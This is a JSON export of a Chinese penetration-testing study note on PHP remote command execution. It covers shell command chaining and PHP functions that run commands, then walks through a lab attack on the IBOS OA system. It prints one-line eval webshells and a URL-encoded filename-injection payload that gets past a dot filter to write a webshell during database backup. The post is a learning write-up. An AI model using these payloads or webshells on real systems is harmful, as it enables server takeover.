{"id":390,"date":"2022-01-21T00:39:41","date_gmt":"2022-01-20T16:39:41","guid":{"rendered":"https:\/\/www.langsasec.cn\/?p=390"},"modified":"2022-11-16T21:12:52","modified_gmt":"2022-11-16T13:12:52","slug":"rce2","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2022\/01\/21\/rce2\/","title":{"rendered":"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c"},"content":{"rendered":"<h3><span class=\"ez-toc-section\" id=\"%e4%bb%80%e4%b9%88%e6%98%af%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c\"><\/span>\u4ec0\u4e48\u662f\u547d\u4ee4\u6267\u884c<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u88ab\u5f53\u505a\u7cfb\u7edf\u547d\u4ee4\u8fdb\u884c\u6267\u884c<\/p>\n<p>\u547d\u4ee4\u6267\u884c\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-php\">&lt;?php system(&#039;whoami&#039;)?&gt;<\/code><\/pre>\n<hr \/>\n<p><em>RCE\u4ee3\u7801\u6267\u884c\u8bb2\u8fc7\u4ee3\u7801\u6267\u884c\u548c\u547d\u4ee4\u6267\u884c\u7684\u533a\u522b\uff0c\u672c\u6b21\u7740\u91cd\u9610\u8ff0\u547d\u4ee4\u6267\u884c\u7684\u7ec6\u8282\u3002\u800c\u4e14\u4ee3\u7801\u6267\u884c\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u8c03\u7528\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570\uff0c\u6240\u4ee5\u5927\u90e8\u5206\u4ee3\u7801\u6267\u884c\u90fd\u53ef\u4ee5\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\u3002<\/em><\/p>\n<p>linux\u547d\u4ee4\uff1aBash<\/p>\n<p>windows\u547d\u4ee4\uff1acmd<\/p>\n<p>\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4<\/p>\n<hr \/>\n<h3><span class=\"ez-toc-section\" id=\"%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c%e7%9a%84%e5%b0%8f%e7%9f%a5%e8%af%86\"><\/span>\u547d\u4ee4\u6267\u884c\u7684\u5c0f\u77e5\u8bc6<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>1.\u901a\u8fc7\u547d\u4ee4\u6765\u5199\u6587\u4ef6\u7684\u64cd\u4f5c\uff0c\u5c06\u4e00\u53e5\u8bdd\u6728\u9a6c\u5199\u5230\u6587\u4ef61.php\u4e2d\u53bb\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-php\">echo \u201c&lt;?php @eval($_REQUEST[8])?&gt;\u201d &gt;1.php<\/code><\/pre>\n<p>2.\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u7528&amp;\u6216\u8005&amp;&amp;<\/p>\n<p>eg\uff1awhoami&amp;ipconfig<\/p>\n<hr \/>\n<p><a href=\"https:\/\/www.cnblogs.com\/koreaseal\/archive\/2012\/05\/28\/2522178.html\">shell\u5b66\u4e60\u7b14\u8bb0\uff081\uff09Linux\u4e0b\u5728\u4e00\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4<\/a><\/p>\n<p>\u8981\u5b9e\u73b0\u5728\u4e00\u884c\u6267\u884c\u591a\u6761Linux\u547d\u4ee4\uff0c\u5206\u4e09\u79cd\u60c5\u51b5\uff1a<\/p>\n<p>1\u3001&amp;&amp;<\/p>\n<p>\u4e3e\u4f8b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>lpr \/tmp\/t2 &amp;&amp; rm \/tmp\/t2<\/code><\/pre>\n<p>\u7b2c2\u6761\u547d\u4ee4\u53ea\u6709\u5728\u7b2c1\u6761\u547d\u4ee4\u6210\u529f\u6267\u884c\u4e4b\u540e\u624d\u6267\u884c\u3002\u5f53&amp;&amp;\u524d\u7684\u547d\u4ee4\u201clpr \/tmp\/t2\u201d\u6210\u529f\u6267\u884c\u540e&quot;rm \/tmp\/t2&quot;\u624d\u6267\u884c\uff0c\u6839\u636e\u547d\u4ee4\u4ea7\u751f\u7684\u9000\u51fa\u7801\u5224\u65ad\u662f\u5426\u6267\u884c\u6210\u529f\uff080\u6210\u529f\uff0c\u975e0\u5931\u8d25\uff09\u3002<\/p>\n<p>2\u3001||<\/p>\n<p>\u4e3e\u4f8b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>cp \/tmp\/t2 \/tmp\/t2.bak || rm \/tmp\/t2<\/code><\/pre>\n<p>\u53ea\u6709||\u524d\u7684\u547d\u4ee4\u201ccp \/tmp\/t2 \/tmp\/t2.bak\u201d\u6267\u884c\u4e0d\u6210\u529f\uff08\u4ea7\u751f\u4e86\u4e00\u4e2a\u975e0\u7684\u9000\u51fa\u7801\uff09\u65f6\uff0c\u624d\u6267\u884c\u540e\u9762\u7684\u547d\u4ee4\u3002<\/p>\n<p>3\u3001;<\/p>\n<p>\u4e3e\u4f8b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>cp \/tmp\/t2 \/tmp\/t2.bak; echo &quot;hello world&quot;<\/code><\/pre>\n<p>\u987a\u5e8f\u6267\u884c\u591a\u6761\u547d\u4ee4\uff0c\u5f53;\u53f7\u524d\u7684\u547d\u4ee4\u6267\u884c\u5b8c\uff08\u4e0d\u7ba1\u662f\u5426\u6267\u884c\u6210\u529f\uff09\uff0c\u624d\u6267\u884c;\u540e\u7684\u547d\u4ee4\u3002<\/p>\n<hr \/>\n<h3><span class=\"ez-toc-section\" id=\"%e5%b8%b8%e8%a7%81%e9%80%a0%e6%88%90%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c%e7%9a%84php%e5%87%bd%e6%95%b0\"><\/span>\u5e38\u89c1\u9020\u6210\u547d\u4ee4\u6267\u884c\u7684PHP\u51fd\u6570<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4><span class=\"ez-toc-section\" id=\"system\"><\/span>system()<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li>PHP\u4f1a\u64cd\u7eb5\u8ba1\u7b97\u673a\u6267\u884c\u547d\u4ee4,\u4e14\u8f93\u51fa\u5e76\u8fd4\u56de\u7ed3\u679c\u3002<\/li>\n<li>\u65e0\u9700\u8f93\u51fa\uff0c\u81ea\u52a8\u8fd4\u56de\u7ed3\u679c\u3002<\/li>\n<li>\u5141\u8bb8\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u3002\u5f53\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u65f6\uff0c\u524d\u9762\u7684\u547d\u4ee4\u51fa\u9519\uff0c\u540e\u9762\u5219\u4e0d\u4f1a\u6267\u884c\u3002<\/li>\n<\/ul>\n<h4><span class=\"ez-toc-section\" id=\"exec\"><\/span>exec()<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li>PHP\u4f1a\u53bb\u64cd\u7eb5\u8ba1\u7b97\u673a\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u83b7\u53d6\u6700\u540e\u4e00\u884c\u3002<\/li>\n<li>\u65e0\u56de\u663e\uff0c\u9700\u8981\u8f93\u51fa\uff08echo\uff09\u3002<\/li>\n<li>\u5141\u8bb8\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u3002\u5f53\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u65f6\uff0c\u524d\u9762\u7684\u547d\u4ee4\u51fa\u9519\uff0c\u540e\u9762\u5219\u4e0d\u4f1a\u6267\u884c\u3002<\/li>\n<\/ul>\n<h4><span class=\"ez-toc-section\" id=\"shell-exec\"><\/span>shell_exec()<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li>\n<p>PHP\u4f1a\u53bb\u64cd\u7eb5\u8ba1\u7b97\u673a\u6267\u884c\u7cfb\u7edf\u547d\u4ee4,\u4e14\u83b7\u53d6\u6240\u6709\u6570\u636e\u3002\uff08exec\u5347\u7ea7\u7248\uff09<\/p>\n<\/li>\n<li>\n<p>\u65e0\u56de\u663e\uff0c\u9700\u8981\u8f93\u51fa\uff08echo\uff09\u3002<\/p>\n<\/li>\n<li>\n<p>\u5141\u8bb8\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u3002\u5f53\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u65f6\uff0c\u524d\u9762\u7684\u547d\u4ee4\u51fa\u9519\uff0c\u540e\u9762\u5219\u4e0d\u4f1a\u6267\u884c\u3002<\/p>\n<\/li>\n<li>\n<p>\u53ef\u4ee5\u7b80\u5199\u4e3a\u4e24\u4e2a\u53cd\u5f15\u53f7<\/p>\n<p>eg\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-php\"><code>whoami<\/code>  \u7b49\u4ef7\u4e8e shell_exec('whoami')<\/code><\/pre>\n<\/li>\n<\/ul>\n<h4><span class=\"ez-toc-section\" id=\"passthru\"><\/span>passthru()<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li>\u5728\u6e17\u900f\u6d4b\u8bd5\u4e2d\uff0c\u51e0\u4e4e\u4e0esystem\u7279\u70b9\u4e00\u6837<\/li>\n<\/ul>\n<h4><span class=\"ez-toc-section\" id=\"popen%e5%91%bd%e4%bb%a4%e5%8f%82%e6%95%b0\"><\/span>popen(\u547d\u4ee4,\u53c2\u6570)<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li>\n<p>\u53c2\u6570 r:\u53ea\u8bfb\u3002w:\u5199\u5165\u3002<\/p>\n<\/li>\n<li>\n<p>eg:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-php\">$a = popen('whoami','r');\necho foread($a,1024)\n\/\/\u8fd4\u56de\u4e00\u4e2a\u6587\u4ef6\u6307\u9488\uff0c\u9700\u8981\u7528fread\u53bb\u8bfb\u53d6\u8fd4\u56de\u503c\u3002<\/code><\/pre>\n<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"%e9%9d%b6%e5%9c%ba%e5%ae%9e%e6%88%98\"><\/span>\u9776\u573a\u5b9e\u6218<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<hr \/>\n<p><strong>\u9776\u573a\u6240\u9700\u5c0f\u77e5\u8bc6\uff1a<\/strong><\/p>\n<p>\u2460windows\u4e0b\u73af\u5883\u4e0b\u70b9(.)\u88ab\u8fc7\u6ee4\uff0c\u53ef\u4ee5\u7528%pathext:~0,1%\u4ee3\u66ff\u3002<\/p>\n<p>\u8fd9\u662f\u56e0\u4e3awindows\u9ed8\u8ba4\u73af\u5883\u53d8\u91cf\u4e2d\u81ea\u5e26\u70b9\uff0c\u901a\u8fc7\u7279\u6b8a\u65b9\u6cd5\u5c06\u5176\u5207\u5272\u51fa\u6765\uff0c\u5e76\u5229\u7528\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/ba341c8907f35c9520885867b4094833.png\" alt=\"image-20220120175601432\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe\" \/><\/p>\n<p>\u53c2\u8003\uff1a\u547d\u4ee4\u6267\u884c\u7ed5\u8fc7https:\/\/bbs.zkaq.cn\/t\/4557.html<\/p>\n<p>\u2461mysqldump \u662f MySQL \u81ea\u5e26\u7684\u903b\u8f91\u5907\u4efd\u5de5\u5177<\/p>\n<p>mysqldump [\u9009\u9879] \u6570\u636e\u5e93\u540d [\u8868\u540d] &gt; \u5907\u4efd\u811a\u672c\u540d<br \/>\neg\uff1amysqldump -uroot -proot --all-databases &gt; all.sql<\/p>\n<hr \/>\n<p>\u9776\u573a\u662fIBOS OA\u7cfb\u7edf\uff0c\u4e0b\u9762\u76f4\u63a5\u8fdb\u884c\u4ee3\u7801\u5ba1\u8ba1<\/p>\n<p>1.\u5728\u5168\u5c40\u641c\u7d22\u4e2d\u627e\u5230\u4e24\u5904\u4f7f\u7528shell_exec()\u51fd\u6570\u7684\u5730\u65b9<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/dfb7dd86f22380b97fd305f75e81ffb7.png\" alt=\"image-20220120235218759\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe1\" \/><\/p>\n<p>2.\u7b2c\u4e00\u5904\u7684\u53ef\u63a7\u53c2\u6570\u8c8c\u4f3c\u5229\u7528\u4e0d\u4e86<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/ea886c975bc7f34f508acb1fc5552b52.png\" alt=\"image-20220120235820578\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe2\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/933929b69a3b961de92f9e3cd0371911.png\" alt=\"image-20220120235857323\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe3\" \/><\/p>\n<p>3.\u7b2c\u4e8c\u4e2a\u7684dumpFile\u662f\u7531backupFileName\u51b3\u5b9a<img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/e2dfa241d1c6e34254320fc95987eeb4.png\" alt=\"image-20220121000042444\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe4\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/ade52691ca41e339d7159eb479248e78.png\" alt=\"image-20220121000134482\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe5\" \/><\/p>\n<p>4.backupFileName\u7531filename\u51b3\u5b9a\uff0c\u5e76\u4e14\u8fc7\u6ee4\u4e86<code>\/\uff0c\\\\\uff0c.\uff0c&#039;<\/code>\u3002filename\u7531REQUEST\u4f20\u53c2\u6240\u51b3\u5b9a<img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/606ad453d31517eba918920e42b9329f.png\" alt=\"image-20220121000353829\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe6\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/c5c49ae3da08a0e68789c0706dfbca43.png\" alt=\"image-20220121000601288\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe7\" \/><\/p>\n<p>5.\u8fdb\u5165\u9776\u573a\u627e\u5230\u5907\u4efd\u6570\u636e\u5e93\u7684\u529f\u80fd\u6a21\u5757\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/940d632321df88a2b442db5c73f3cf7e.png\" alt=\"image-20220121001039581\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe8\" \/><\/p>\n<p>6.\u6293\u5305\u770b\u4e0b\u5177\u4f53\u4f20\u53c2\uff0c\u901a\u8fc7\u6784\u9020\u547d\u4ee4\u62fc\u63a5\uff0c\u751f\u6210\u6587\u4ef6\u7684\u540c\u65f6\u5199\u5165\u6728\u9a6c\uff0c\u4ece\u800c\u63a7\u5236\u670d\u52a1\u5668\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/f10e69cba1f81025ad9cd69278544079.png\" alt=\"image-20220121001457090\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe9\" \/><\/p>\n<p>7.\u7531\u4e8e\u8fc7\u6ee4\u70b9\uff08.\uff09,\u8fd9\u65f6\u5019\u5c0f\u77e5\u8bc6\u5c31\u6d3e\u4e0a\u7528\u573a\u4e86,\u5c06\u5176\u66ff\u6362\u4e3a%PATHEXT:~0,1%<\/p>\n<p>&amp;\u7b26\u53f7\u5728\u6570\u636e\u5305\u4f1a\u88ab\u8ba4\u4e3a\u662f\u53c2\u6570\u5206\u9694\u7b26\uff0c\u6240\u4ee5\u9700\u8981url\u7f16\u7801\uff0c\u6784\u9020exp\u5982\u4e0b:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-php\">filename=219911%26echo+&quot;&lt;?php eval($_REQUEST[8])?&gt;&quot;&gt;langsa%PATHEXT:~0,1%php%26langsa<\/code><\/pre>\n<p>8.\u6293\u5305\uff0c\u6539\u5305\uff0c\u6267\u884c\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/e5258c139750f3c2d2b16027ecd7108f.png\" alt=\"image-20220121002146885\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe10\" \/><\/p>\n<p>9.\u6728\u9a6c\u5199\u5165\u6210\u529f\uff0c\u670d\u52a1\u5668\u5230\u624b\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img-blog.csdnimg.cn\/img_convert\/a8533cbebbe137b12972fa45d08b34a2.png\" alt=\"image-20220121002559221\" title=\"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c\u63d2\u56fe11\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4ec0\u4e48\u662f\u547d\u4ee4\u6267\u884c \u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u88ab\u5f53\u505a\u7cfb\u7edf\u547d\u4ee4\u8fdb\u884c\u6267\u884c \u547d\u4ee4\u6267\u884c\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c &lt;?php system(&#038; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,19],"tags":[],"class_list":["post-390","post","type-post","status-publish","format-standard","hentry","category-webpt-studynote","category-penetration-test"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/390","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=390"}],"version-history":[{"count":5,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/390\/revisions"}],"predecessor-version":[{"id":1088,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/390\/revisions\/1088"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=390"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=390"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=390"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}